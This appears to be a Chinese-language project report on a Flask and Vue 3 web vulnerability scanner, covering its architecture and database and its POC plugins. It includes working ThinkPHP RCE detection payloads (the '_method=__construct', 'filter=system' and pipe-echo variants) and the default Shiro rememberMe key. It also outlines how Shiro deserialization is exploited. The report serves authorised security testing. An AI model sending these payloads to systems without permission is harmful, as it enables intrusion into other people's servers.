自动化漏洞扫描与 POC 验证工具

项目技术报告


项目名称: Web Vulnerability Scanner
版本号: v1.0.0
完成日期: 2026-03-18
技术架构: Python Flask + Vue 3


目录

  1. 项目概述
  2. 系统架构设计
  3. 技术实现详解
  4. 核心模块分析
  5. POC 插件系统
  6. 前端系统设计
  7. 数据库设计
  8. API 接口文档
  9. 配置与部署
  10. 使用说明
  11. 安全声明

1. 项目概述

1.1 项目背景

随着 Web 应用的普及和复杂度的提升,Web 安全问题日益突出。SQL 注入、XSS 跨站脚本、远程代码执行等高危漏洞严重威胁着 Web 应用的安全。传统的人工渗透测试效率低下,难以满足大规模安全检测的需求。

本项目旨在开发一款轻量级、高效率、可扩展的自动化 Web 漏洞扫描器,帮助安全研究人员快速发现和验证 Web 应用中的安全漏洞。

1.2 项目目标

目标 描述
高效扫描 基于多线程架构,实现并发扫描,提升检测效率
漏洞检测 支持多种主流 Web 漏洞类型的自动化检测
POC 验证 内置 POC 插件,通过构造特异性请求精准验证漏洞
指纹识别 自动识别目标资产指纹,为漏洞检测提供依据
报告生成 自动生成包含修复建议的 HTML 检测报告
插件扩展 采用插件化架构,便于扩展新的漏洞检测模块

1.3 项目特点

1
2
3
4
5
6
7
8
9
10
11
12
┌─────────────────────────────────────────────────────────┐
│ 项目核心特点 │
├─────────────────────────────────────────────────────────┤
│ ✓ 多线程并发扫描,效率提升 5-10 倍 │
│ ✓ 插件化 POC 架构,可自由扩展 │
│ ✓ 资产指纹自动识别 │
│ ✓ 实时 WebSocket 进度推送 │
│ ✓ 自动化 HTML 报告生成 │
│ ✓ Vue 3 现代前端界面 │
│ ✓ RESTful API 设计 │
│ ✓ SQLite 轻量级数据存储 │
└─────────────────────────────────────────────────────────┘

2. 系统架构设计

2.1 整体架构

本项目采用经典的前后端分离架构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
┌──────────────────────────────────────────────────────────────────┐
│ 用户交互层 │
│ Vue 3 + Element Plus │
│ ┌─────────────────────┐ │
│ │ Dashboard │ Scan │ │
│ │ Results │ Reports │ │
│ └──────────┬──────────┘ │
└────────────────────────────┼────────────────────────────────────┘
│ HTTP / WebSocket
┌────────────────────────────┼────────────────────────────────────┐
│ API 网关层 │
│ Flask + Flask-SocketIO │
│ ┌──────────┬──────────┬──────────┐ │
│ │ Scan API │Task API │Report API│ │
│ └────┬─────┴────┬─────┴────┬─────┘ │
└──────────────────────┼─────────┼──────────┼──────────────────────┘
│ │ │
┌──────────────────────┼─────────┼──────────┼──────────────────────┐
│ 业务服务层 │ │
│ ┌─────────────┬───┴───┬────────┴───┬─────────────┐ │
│ │ScannerService│TaskService│ResultService│ReportService│ │
│ └─────────────┴────────┴─────────────┴─────────────┘ │
│ │ │
│ ┌─────────────┬─────────┴────────┬─────────────┐ │
│ │ Fingerprint │ HTTP Client │ ThreadPool │ │
│ └─────────────┴─────────────────┴─────────────┘ │
│ │ │
│ ┌───────────────────────────────────────────────┐ │
│ │ POC 插件层 │ │
│ │ ThinkPHP │ Shiro │ SQLi │ XSS │ LFI │ Cmd │ │
│ └───────────────────────────────────────────────┘ │
└───────────────────────────────────────────────────────────────────┘

┌────────────────────────────┼────────────────────────────────────┐
│ 数据存储层 │
│ SQLite 数据库 │
│ ┌────────────┼────────────┐ │
│ │ ScanTasks │ Results │ Reports │ │
│ └────────────┴──────────┴────────┘ │
└───────────────────────────────────────────────────────────────────┘

2.2 模块职责划分

模块层次 模块名称 职责描述
用户交互层 Vue 3 前端 接收用户输入、展示扫描结果、实时进度显示
API 网关层 Flask 路由 接收 HTTP 请求、分发到对应服务
业务服务层 Services 封装核心业务逻辑
核心引擎层 Core 扫描调度、HTTP 请求、线程管理
POC 插件层 Plugins 各类漏洞的具体检测逻辑
数据存储层 SQLite 持久化任务、结果、报告数据

2.3 技术选型理由

后端技术选型

技术 选型理由
Flask 轻量级 Web 框架,学习成本低,易于扩展,适合中小型项目
Flask-SocketIO 支持 WebSocket 双向通信,实现实时进度推送
requests Python 最流行的 HTTP 库,API 简洁,功能完善
SQLAlchemy Python ORM 标准库,支持多种数据库
ThreadPoolExecutor Python 并发标准库,无需额外依赖

前端技术选型

技术 选型理由
Vue 3 渐进式框架,Composition API 提升代码组织能力
Element Plus Vue 3 桌面端组件库,UI 美观,文档完善
Vite 新一代构建工具,开发体验极佳,热更新快速
Pinia Vue 3 推荐的状态管理库,API 简洁
Socket.io-client WebSocket 客户端,与 Flask-SocketIO 完美配合

3. 技术实现详解

3.1 多线程扫描实现

扫描效率是漏洞扫描器的核心指标之一。本项目采用 Python 标准库 concurrent.futures 中的 ThreadPoolExecutor 实现多线程并发扫描。

核心代码实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# backend/app/core/scanner.py

from concurrent.futures import ThreadPoolExecutor, as_completed

class ScannerEngine:
def __init__(self, http_client, task_id=None):
self.http_client = http_client
self.task_id = task_id
self.results = []
self._stopped = False

def scan(self, target, plugins, threads=10):
results = []
self._stopped = False

# 创建线程池,最多同时运行 threads 个插件
with ThreadPoolExecutor(max_workers=threads) as executor:
# 提交所有插件任务
futures = {
executor.submit(p.check, target, self.http_client): p
for p in plugins
}

# 使用 as_completed 实现异步遍历
for future in as_completed(futures):
# 支持中途停止
if self._stopped:
executor.shutdown(wait=False)
break

try:
# 获取插件执行结果
result = future.result()
if result:
results.append(result)
except Exception:
# 异常隔离,单个插件失败不影响其他插件
pass

return results

技术要点分析:

要点 说明
ThreadPoolExecutor 创建固定大小的线程池,避免线程无限创建
as_completed() 异步迭代器,任务完成即返回,提高响应速度
异常隔离 每个插件在独立线程中执行,try-except 确保单点故障不影响全局
中途停止 通过 _stopped 标志位实现优雅停止

性能对比:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
单线程扫描(6个插件):
Plugin 1 ████████████████████ 2s
Plugin 2 ████████████████████ 2s
Plugin 3 ████████████████████ 2s
Plugin 4 ████████████████████ 2s
Plugin 5 ████████████████████ 2s
Plugin 6 ████████████████████ 2s
总计:12秒

多线程扫描(6个插件,10线程):
Plugin 1 ████████ 2s
Plugin 2 ████████ 2s
Plugin 3 ████████ 2s
Plugin 4 ████████ 2s
Plugin 5 ████████ 2s
Plugin 6 ████████ 2s
总计:2秒(理论最优)

3.2 HTTP 客户端封装

为了保证扫描器的稳定性和健壮性,HTTP 客户端进行了封装:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# backend/app/core/http_client.py

import requests
from requests.adapters import HTTPAdapter
from urllib3.util.retry import Retry

class HTTPClient:
def __init__(self):
self.session = requests.Session()
self._setup_session()

def _setup_session(self):
# 配置重试策略
retry = Retry(
total=Config.MAX_RETRY, # 最大重试次数
backoff_factor=0.5, # 重试间隔递增因子
status_forcelist=[500, 502, 503, 504] # 遇到这些状态码重试
)
adapter = HTTPAdapter(max_retries=retry)
self.session.mount('http://', adapter)
self.session.mount('https://', adapter)

# 设置默认 User-Agent
self.session.headers.update({
'User-Agent': Config.USER_AGENT
})

def get(self, url, **kwargs):
kwargs.setdefault('timeout', Config.REQUEST_TIMEOUT)
return self.session.get(url, **kwargs)

def post(self, url, **kwargs):
kwargs.setdefault('timeout', Config.REQUEST_TIMEOUT)
return self.session.post(url, **kwargs)

可靠性保障:

机制 作用
Session 复用 复用 TCP 连接,提升请求效率
自动重试 网络波动时自动重试,提高成功率
超时控制 防止请求卡死,提升用户体验
异常捕获 单次请求失败不影响整体扫描

3.3 WebSocket 实时通信

扫描过程中需要实时推送进度,采用了 WebSocket 双向通信:

后端 WebSocket 服务:

1
2
3
4
5
6
7
8
9
10
11
12
13
# backend/app/__init__.py

socketio = SocketIO(app, cors_allowed_origins="*", async_mode='threading')

# backend/app/services/scanner_service.py

class ScannerService:
def _run_scan(self, task_id, target, scan_types, threads):
# 扫描完成,发送 WebSocket 消息
socketio.emit('scan_completed', {
'task_id': task_id,
'results_count': len(results)
})

前端 WebSocket 客户端:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// frontend/src/stores/scan.ts

import { io } from 'socket.io-client'

const socket = io('http://localhost:5000')

export function useSocket() {
socket.on('scan_started', (data) => {
console.log('扫描开始:', data)
})

socket.on('scan_completed', (data) => {
console.log('扫描完成:', data)
// 刷新结果列表
})

socket.on('scan_failed', (data) => {
console.error('扫描失败:', data)
})

return socket
}

4. 核心模块分析

4.1 扫描引擎 (ScannerEngine)

扫描引擎是整个系统的核心调度器:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌─────────────────────────────────────────────────────────────┐
│ ScannerEngine │
├─────────────────────────────────────────────────────────────┤
│ 输入:target, plugins, threads │
│ │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ ThreadPoolExecutor │ │
│ │ ┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐ │ │
│ │ │ Plugin1 │ │ Plugin2 │ │ Plugin3 │ │ Plugin4 │ │ │
│ │ │ (线程1) │ │ (线程2) │ │ (线程3) │ │ (线程4) │ │ │
│ │ └────┬────┘ └────┬────┘ └────┬────┘ └────┬────┘ │ │
│ └───────┼───────────┼───────────┼─────────────┼────────┘ │
│ │ │ │ │ │
│ ┌───────┴───────────┴───────────┴─────────────┴────────┐ │
│ │ 结果聚合 │ │
│ │ [result1, result2, result3, ...] │ │
│ └──────────────────────────────────────────────────────┘ │
│ │
│ 输出:results (漏洞列表) │
└─────────────────────────────────────────────────────────────┘

4.2 资产指纹识别 (Fingerprint)

指纹识别是漏洞检测的前置步骤,通过分析响应特征判断目标框架:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# backend/app/core/fingerprint.py

class Fingerprint:
def __init__(self, http_client):
self.http_client = http_client
self.fingerprints = {
'ThinkPHP': [
(r'ThinkPHP', 'X-Powered-By'), # 响应头检测
(r'/think/php/library/think', 'body'), # 响应体检测
(r'__construct', 'body')
],
'Spring': [
(r'Spring', 'X-Application-Context'),
(r'Spring Boot', 'body')
],
'Shiro': [
(r'rememberMe', 'Set-Cookie'), # Cookie 检测
(r'shiro', 'body')
],
# ... 更多框架
}

def identify(self, url):
try:
resp = self.http_client.get(url, allow_redirects=True)
headers = dict(resp.headers)
body = resp.text

findings = {}
# 遍历所有指纹规则
for name, patterns in self.fingerprints.items():
for pattern, source in patterns:
if source == 'Server' and 'Server' in headers:
if re.search(pattern, headers['Server'], re.I):
findings[name] = True
elif source == 'body':
if re.search(pattern, body, re.I):
findings[name] = True
# ... 其他来源处理

return list(findings.keys())
except Exception:
return []

指纹识别流程:

1
2
3
4
5
6
7
8
9
1. 发送 HTTP 请求获取目标响应

2. 提取响应头和响应体

3. 遍历指纹规则库进行正则匹配

4. 汇总匹配的框架列表

5. 返回指纹识别结果

4.3 任务管理服务 (ScannerService)

任务管理服务负责扫描任务的完整生命周期:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# backend/app/services/scanner_service.py

class ScannerService:
def start_scan(self, target, scan_types=None, threads=10):
task_id = str(uuid.uuid4())

# 1. 创建数据库记录
task = ScanTask(
id=task_id,
target=target,
status='running',
progress=0
)
db.session.add(task)
db.session.commit()

# 2. 启动后台扫描线程
thread = threading.Thread(
target=self._run_scan,
args=(task_id, target, scan_types, threads)
)
thread.daemon = True
thread.start()

# 3. 发送 WebSocket 通知
socketio.emit('scan_started', {'task_id': task_id})

return task_id

5. POC 插件系统

5.1 插件架构设计

采用策略模式 + 工厂模式设计插件系统:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌─────────────────────────────────────────────────────────────┐
│ POCPlugin (抽象基类) │
├─────────────────────────────────────────────────────────────┤
│ + name: str # 插件名称 │
│ + severity: str # 严重等级 │
│ + description: str # 漏洞描述 │
│ + check(target, http_client) # 抽象方法:检测逻辑 │
│ + verify_response() # 通用方法:响应验证 │
└─────────────────────────────────────────────────────────────┘

│ 继承
┌─────────────────────┼─────────────────────┐
│ │ │
┌───────┴───────┐ ┌───────┴───────┐ ┌───────┴───────┐
│ThinkPHP_RCE_POC│ │ Shiro_POC │ │ SQLi_POC │
├───────────────┤ ├───────────────┤ ├───────────────┤
│ - 多路径探测 │ │ - Cookie 特征 │ │ - 错误信息匹配 │
│ - 命令回显检测 │ │ - rememberMe │ │ - SQL 语法错误 │
└───────────────┘ └───────────────┘ └───────────────┘

5.2 插件基类实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
# backend/app/plugins/base.py

from abc import ABC, abstractmethod

class POCPlugin(ABC):
"""POC 插件抽象基类"""

name = "base"
severity = "medium"
description = ""

@abstractmethod
def check(self, target, http_client):
"""
检测漏洞是否存在

Args:
target: 目标 URL
http_client: HTTP 客户端实例

Returns:
dict: 漏洞信息字典,存在漏洞时返回
None: 不存在漏洞时返回
"""
pass

def verify_response(self, response, indicators):
"""
验证响应是否包含特定特征

Args:
response: HTTP 响应对象
indicators: 特征列表

Returns:
bool: 是否匹配
"""
if not response:
return False
text = response.text if hasattr(response, 'text') else str(response)
for indicator in indicators:
if indicator.lower() in text.lower():
return True
return False

5.3 ThinkPHP RCE 插件详解

ThinkPHP 远程代码执行漏洞是 Web 安全中的高危漏洞,本插件实现了精准检测:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
# backend/app/plugins/thinkphp_rce.py

import uuid
from app.plugins.base import POCPlugin

class ThinkPHP_RCE_POC(POCPlugin):
name = "ThinkPHP RCE"
severity = "critical"
description = "ThinkPHP远程代码执行漏洞"

def check(self, target, http_client):
# 1. 定义多个可能的路径
paths = [
f"{target.rstrip('/')}/index.php?s=1",
f"{target.rstrip('/')}/?s=1",
target.rstrip('/')
]

# 2. 生成唯一性标记(防止误报)
test_cmd = "echo vuln_test_" + str(uuid.uuid4())[:8]

# 3. 定义多种 POC 变体
payloads = [
# S URL 路由绕过
{"s": f"/{test_cmd}"},
# 管道符命令执行
{"s": f"|{test_cmd}"},
# ThinkPHP 5.0.x 路由利用
{"_method": "__construct", "filter": "system", test_cmd: "echo test"}
]

# 4. 遍历路径和 payload 组合
for path in paths:
for payload in payloads:
try:
resp = http_client.post(path, data=payload, timeout=10)

# 5. 精准检测:命令回显
if test_cmd.split('_')[1] in (resp.text or ''):
return {
'plugin': self.name,
'target': path,
'severity': self.severity,
'description': self.description,
'payload': str(payload),
'evidence': 'RCE confirmed'
}
except Exception:
pass

return None

检测原理图解:

1
2
3
4
5
6
7
8
9
10
11
12
正常请求:
┌─────────┐ POST /index.php?s=1 ┌─────────┐
│ Scanner │ ───────────────────────────→ │ Target │
└─────────┘ └─────────┘
Response: 404 / 正常页面

RCE Payload:
┌─────────┐ POST /index.php?s=1 ┌─────────┐
│ Scanner │ ───────────────────────────→ │ Target │
│ │ s=|echo vuln_test_abc123 │ (Think) │
└─────────┘ └─────────┘
Response: vuln_test_abc123 ← 命令执行成功!

5.4 Shiro 反序列化插件详解

Apache Shiro 反序列化漏洞是一个经典的 Java 安全漏洞:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# backend/app/plugins/shiro_poc.py

import base64
import uuid
from app.plugins.base import POCPlugin

class Shiro_POC(POCPlugin):
name = "Shiro Deserialization"
severity = "critical"
description = "Apache Shiro反序列化远程代码执行"

def check(self, target, http_client):
test_value = "vuln_test_" + str(uuid.uuid4())[:8]

headers = {
"Cookie": f"rememberMe={test_value}",
"User-Agent": "Mozilla/5.0"
}

try:
resp = http_client.get(target, headers=headers, timeout=10)
cookies = resp.headers.get('Set-Cookie', '')

# Shiro 特征检测
if 'rememberMe' in cookies:
if 'deleteMe' in cookies:
# 使用错误密钥时的特征响应
return {
'plugin': self.name,
'target': target,
'severity': self.severity,
'description': self.description,
'evidence': 'rememberMe=deleteMe detected'
}
except Exception:
pass

return None

Shiro 漏洞原理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌─────────────────────────────────────────────────────────────┐
│ Shiro 认证流程 │
├─────────────────────────────────────────────────────────────┤
│ │
│ 1. 客户端发送请求 │
│ 2. Shiro 从 Cookie 读取 rememberMe │
│ 3. Base64 解码 rememberMe │
│ 4. 使用密钥反序列化 │
│ │
│ 问题:默认密钥硬编码在代码中 │
│ kPH+bIxk5D2deZiIxcaaaA== │
│ │
│ 攻击者可以: │
│ 1. 构造恶意对象的序列化数据 │
│ 2. Base64 编码 │
│ 3. 设置为 rememberMe Cookie │
│ 4. 服务端反序列化时执行恶意代码 │
│ │
└─────────────────────────────────────────────────────────────┘

5.5 其他 POC 插件

插件 严重等级 检测方式 特征识别
SQL 注入 Critical 发送 SQL 语法片段 错误信息匹配(sql syntax, ORA-, mysql_fetch
XSS High 发送 XSS payload 反射检测(payload 在响应中回显)
文件包含 High 读取敏感文件 内容泄露(root: 存在)
命令注入 Critical 执行系统命令 回显检测(标记字符串出现)

6. 前端系统设计

6.1 页面路由设计

1
2
3
4
5
6
7
8
9
10
┌─────────────────────────────────────────────────────────────┐
│ Vue Router │
├─────────────────────────────────────────────────────────────┤
│ │
│ /dashboard → Dashboard.vue (首页仪表盘) │
│ /scan → Scan.vue (新建扫描) │
│ /results → Results.vue (扫描结果) │
│ /reports → Reports.vue (报告管理) │
│ │
└─────────────────────────────────────────────────────────────┘

6.2 状态管理 (Pinia)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// frontend/src/stores/scan.ts

import { defineStore } from 'pinia'
import { ref } from 'vue'
import axios from 'axios'

export const useScanStore = defineStore('scan', () => {
const tasks = ref([])
const currentTask = ref(null)
const results = ref([])

async function startScan(target: string, scanTypes: string[], threads: number) {
const response = await axios.post('http://localhost:5000/api/scan/start', {
target,
scan_types: scanTypes,
threads
})
return response.data.task_id
}

async function fetchTasks() {
const response = await axios.get('http://localhost:5000/api/tasks')
tasks.value = response.data
}

return { tasks, currentTask, results, startScan, fetchTasks }
})

6.3 核心页面组件

6.3.1 扫描页面 (Scan.vue)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<template>
<div class="scan-page">
<el-card>
<el-form :model="scanForm" label-width="120px">
<!-- 目标 URL 输入 -->
<el-form-item label="目标URL">
<el-input v-model="scanForm.target" placeholder="http://example.com" />
</el-form-item>

<!-- 漏洞类型选择 -->
<el-form-item label="扫描类型">
<el-checkbox-group v-model="scanForm.scanTypes">
<el-checkbox label="thinkphp">ThinkPHP RCE</el-checkbox>
<el-checkbox label="shiro">Shiro 反序列化</el-checkbox>
<el-checkbox label="sqli">SQL注入</el-checkbox>
<el-checkbox label="xss">XSS</el-checkbox>
<el-checkbox label="file_include">文件包含</el-checkbox>
<el-checkbox label="cmd_inject">命令注入</el-checkbox>
</el-checkbox-group>
</el-form-item>

<!-- 线程数调节 -->
<el-form-item label="线程数">
<el-slider v-model="scanForm.threads" :min="1" :max="50" show-input />
</el-form-item>

<!-- 开始扫描按钮 -->
<el-form-item>
<el-button type="primary" @click="startScan">开始扫描</el-button>
</el-form-item>
</el-form>
</el-card>

<!-- 扫描进度显示 -->
<el-card v-if="currentTaskId" style="margin-top: 20px;">
<el-progress :percentage="scanProgress" />
<el-tag :type="statusType">{{ statusText }}</el-tag>
</el-card>
</div>
</template>

6.3.2 仪表盘页面 (Dashboard.vue)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<template>
<div class="dashboard">
<!-- 统计卡片 -->
<el-row :gutter="20">
<el-col :span="6">
<el-card class="stat-card">
<div class="stat-value">{{ tasks.length }}</div>
<div class="stat-label">总任务数</div>
</el-card>
</el-col>
<el-col :span="6">
<el-card class="stat-card">
<div class="stat-value">{{ completedTasks }}</div>
<div class="stat-label">已完成</div>
</el-card>
</el-col>
<!-- 更多统计卡片... -->
</el-row>

<!-- 任务列表 -->
<el-table :data="tasks">
<el-table-column prop="target" label="目标" />
<el-table-column prop="status" label="状态">
<template #default="scope">
<el-tag :type="getStatusType(scope.row.status)">
{{ getStatusText(scope.row.status) }}
</el-tag>
</template>
</el-table-column>
<el-table-column prop="progress" label="进度">
<template #default="scope">
<el-progress :percentage="scope.row.progress" />
</template>
</el-table-column>
<el-table-column label="操作">
<template #default="scope">
<el-button @click="viewResults(scope.row.id)">查看</el-button>
</template>
</el-table-column>
</el-table>
</div>
</template>

7. 数据库设计

7.1 数据库概览

本项目使用 SQLite 作为数据库,这是一种轻量级的文件型数据库,无需额外配置,适合中小型应用。

7.2 数据表设计

7.2.1 扫描任务表 (scan_tasks)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
class ScanTask(db.Model):
"""扫描任务模型"""
__tablename__ = 'scan_tasks'

id = db.Column(db.String(36), primary_key=True) # UUID
target = db.Column(db.String(500), nullable=False) # 目标 URL
status = db.Column(db.String(20), default='pending') # pending/running/completed/failed/stopped
progress = db.Column(db.Integer, default=0) # 进度百分比
scan_types = db.Column(db.Text) # JSON 格式的扫描类型列表
threads = db.Column(db.Integer, default=10) # 使用的线程数
created_at = db.Column(db.DateTime, default=datetime.now) # 创建时间
updated_at = db.Column(db.DateTime, default=datetime.now) # 更新时间
completed_at = db.Column(db.DateTime, nullable=True) # 完成时间
error_message = db.Column(db.Text) # 错误信息

# 关联漏洞结果
results = db.relationship('VulnerabilityResult', backref='task',
lazy=True, cascade='all, delete-orphan')

状态流转图:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
     ┌─────────┐
│ pending │ ← 任务创建
└────┬────┘

┌─────────┐
────→│ running │ ← 扫描进行中
└────┬────┘

┌─────┴─────┐
↓ ↓
┌─────────┐ ┌─────────┐
│completed│ │ failed │
└─────────┘ └─────────┘
↑ ↑
└─────┬─────┘

┌─────────┐
│ stopped │ ← 用户主动停止
└─────────┘

7.2.2 漏洞结果表 (vulnerability_results)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
class VulnerabilityResult(db.Model):
"""漏洞结果模型"""
__tablename__ = 'vulnerability_results'

id = db.Column(db.Integer, primary_key=True, autoincrement=True)
task_id = db.Column(db.String(36), db.ForeignKey('scan_tasks.id'))

plugin_name = db.Column(db.String(100)) # 插件名称
vulnerability_name = db.Column(db.String(100)) # 漏洞名称
severity = db.Column(db.String(20)) # critical/high/medium/low
url = db.Column(db.String(500)) # 漏洞 URL

description = db.Column(db.Text) # 漏洞描述
proof = db.Column(db.Text) # POC 证明
payload = db.Column(db.Text) # 使用的 Payload
remediation = db.Column(db.Text) # 修复建议

status = db.Column(db.String(20), default='confirmed') # confirmed/false_positive
created_at = db.Column(db.DateTime, default=datetime.now)

7.2.3 报告表 (reports)

1
2
3
4
5
6
7
8
9
10
class Report(db.Model):
"""报告模型"""
__tablename__ = 'reports'

id = db.Column(db.String(36), primary_key=True)
task_id = db.Column(db.String(36), db.ForeignKey('scan_tasks.id'))
format = db.Column(db.String(10)) # html/pdf
file_path = db.Column(db.String(500)) # 文件路径
content = db.Column(db.Text) # 报告内容(HTML)
created_at = db.Column(db.DateTime, default=datetime.now)

7.3 数据库关系图

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌─────────────────────┐       ┌─────────────────────────────┐
│ scan_tasks │ │ vulnerability_results │
├─────────────────────┤ ├─────────────────────────────┤
│ id (PK) │◄──────│ task_id (FK) │
│ target │ 1:N │ id (PK) │
│ status │ │ plugin_name │
│ progress │ │ severity │
│ created_at │ │ url │
└─────────────────────┘ │ description │
│ │ proof │
│ 1:N │ payload │
▼ │ remediation │
┌─────────────────────┐ └─────────────────────────────┘
│ reports │
├─────────────────────┤
│ id (PK) │
│ task_id (FK) │
│ format │
│ file_path │
│ content │
│ created_at │
└─────────────────────┘

8. API 接口文档

8.1 扫描相关接口

8.1.1 启动扫描

1
POST /api/scan/start

请求参数:

1
2
3
4
5
{
"target": "http://example.com",
"scan_types": ["thinkphp", "shiro", "sqli"],
"threads": 10
}

响应示例:

1
2
3
4
{
"task_id": "550e8400-e29b-41d4-a716-446655440000",
"message": "Scan started"
}

8.1.2 停止扫描

1
POST /api/scan/stop/{task_id}

响应示例:

1
2
3
{
"message": "Scan stopped"
}

8.1.3 获取扫描状态

1
GET /api/scan/status/{task_id}

响应示例:

1
2
3
4
5
6
{
"task_id": "550e8400-e29b-41d4-a716-446655440000",
"status": "running",
"progress": 50,
"target": "http://example.com"
}

8.2 任务相关接口

8.2.1 获取所有任务

1
GET /api/tasks

响应示例:

1
2
3
4
5
6
7
8
9
10
[
{
"id": "550e8400-e29b-41d4-a716-446655440000",
"target": "http://example.com",
"status": "completed",
"progress": 100,
"result_count": 3,
"created_at": "2026-03-18T10:00:00"
}
]

8.2.2 获取指定任务

1
GET /api/tasks/{task_id}

8.3 结果相关接口

8.3.1 获取漏洞结果

1
GET /api/results/{task_id}

响应示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
[
{
"id": 1,
"task_id": "550e8400-e29b-41d4-a716-446655440000",
"plugin_name": "ThinkPHP RCE",
"severity": "critical",
"url": "http://example.com/index.php?s=1",
"description": "ThinkPHP远程代码执行漏洞",
"payload": "s=|echo test",
"proof": "RCE confirmed",
"remediation": "1. 升级ThinkPHP到最新版本..."
}
]

8.4 报告相关接口

8.4.1 生成报告

1
POST /api/reports/generate/{task_id}

响应示例:

1
2
3
4
5
{
"id": "660e8400-e29b-41d4-a716-446655440001",
"format": "html",
"content": "<!DOCTYPE html>..."
}

8.4.2 获取报告

1
GET /api/reports/{report_id}

9. 配置与部署

9.1 配置文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# backend/app/config.py

class Config:
SECRET_KEY = os.environ.get('SECRET_KEY') or 'vuln-scanner-secret-key-2024'

# 数据库配置
BASE_DIR = os.path.abspath(os.path.dirname(__file__))
SQLALCHEMY_DATABASE_URI = os.environ.get('DATABASE_URL') or \
f'sqlite:///{os.path.join(os.path.dirname(BASE_DIR), "scanner.db")}'
SQLALCHEMY_TRACK_MODIFICATIONS = False

# WebSocket 配置
SOCKETIO_MESSAGE_QUEUE = None
SOCKETIO_ASYNC_MODE = 'threading'

# 扫描配置
DEFAULT_THREADS = 10 # 默认线程数
MAX_THREADS = 50 # 最大线程数
REQUEST_TIMEOUT = 30 # 请求超时(秒)
MAX_RETRY = 3 # 最大重试次数

# HTTP 配置
USER_AGENT = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'

# 报告配置
REPORT_DIR = os.path.join(os.path.dirname(BASE_DIR), 'reports')

# 日志配置
LOG_LEVEL = os.environ.get('LOG_LEVEL') or 'INFO'
LOG_FILE = os.path.join(os.path.dirname(BASE_DIR), 'scanner.log')

9.2 环境变量

环境变量 默认值 说明
SECRET_KEY vuln-scanner-secret-key-2024 Flask 密钥
DATABASE_URL sqlite:///scanner.db 数据库连接
PORT 5000 服务端口
LOG_LEVEL INFO 日志级别

9.3 部署步骤

9.3.1 后端部署

1
2
3
4
5
6
7
8
9
10
11
12
# 1. 进入后端目录
cd backend

# 2. 安装依赖
pip install -r requirements.txt

# 3. 配置环境变量(可选)
export SECRET_KEY=your-secret-key
export PORT=5000

# 4. 启动服务
python run.py

9.3.2 前端部署

1
2
3
4
5
6
7
8
9
10
11
# 1. 进入前端目录
cd frontend

# 2. 安装依赖
npm install

# 3. 开发模式运行
npm run dev

# 4. 或生产环境构建
npm run build

10. 使用说明

10.1 扫描流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
┌─────────────────────────────────────────────────────────────┐
│ 扫描工作流程 │
├─────────────────────────────────────────────────────────────┤
│ │
│ 1. 输入目标 URL │
│ └→ http://target.com │
│ │
│ 2. 选择扫描类型(可多选) │
│ ├→ ThinkPHP RCE │
│ ├→ Shiro 反序列化 │
│ ├→ SQL 注入 │
│ └→ ... │
│ │
│ 3. 调整线程数(默认 10) │
│ │
│ 4. 点击「开始扫描」 │
│ │ │
│ ├→ 后端创建扫描任务 │
│ ├→ 启动多线程并发扫描 │
│ ├→ 实时推送扫描进度 │
│ └→ 扫描完成保存结果 │
│ │
│ 5. 查看扫描结果 │
│ ├→ 漏洞列表 │
│ ├→ 漏洞详情 │
│ └→ 修复建议 │
│ │
│ 6. 生成 HTML 报告 │
│ │
└─────────────────────────────────────────────────────────────┘

10.2 报告样例

生成的 HTML 报告包含以下内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌─────────────────────────────────────────────────────────────┐
│ Web漏洞扫描报告 │
├─────────────────────────────────────────────────────────────┤
│ ┌──────────────┐ ┌──────────────┐ ┌──────────────┐ │
│ │ 扫描目标 │ │ 发现漏洞 │ │ 扫描时间 │ │
│ │ target.com │ │ 3 │ │ 2026-03-18 │ │
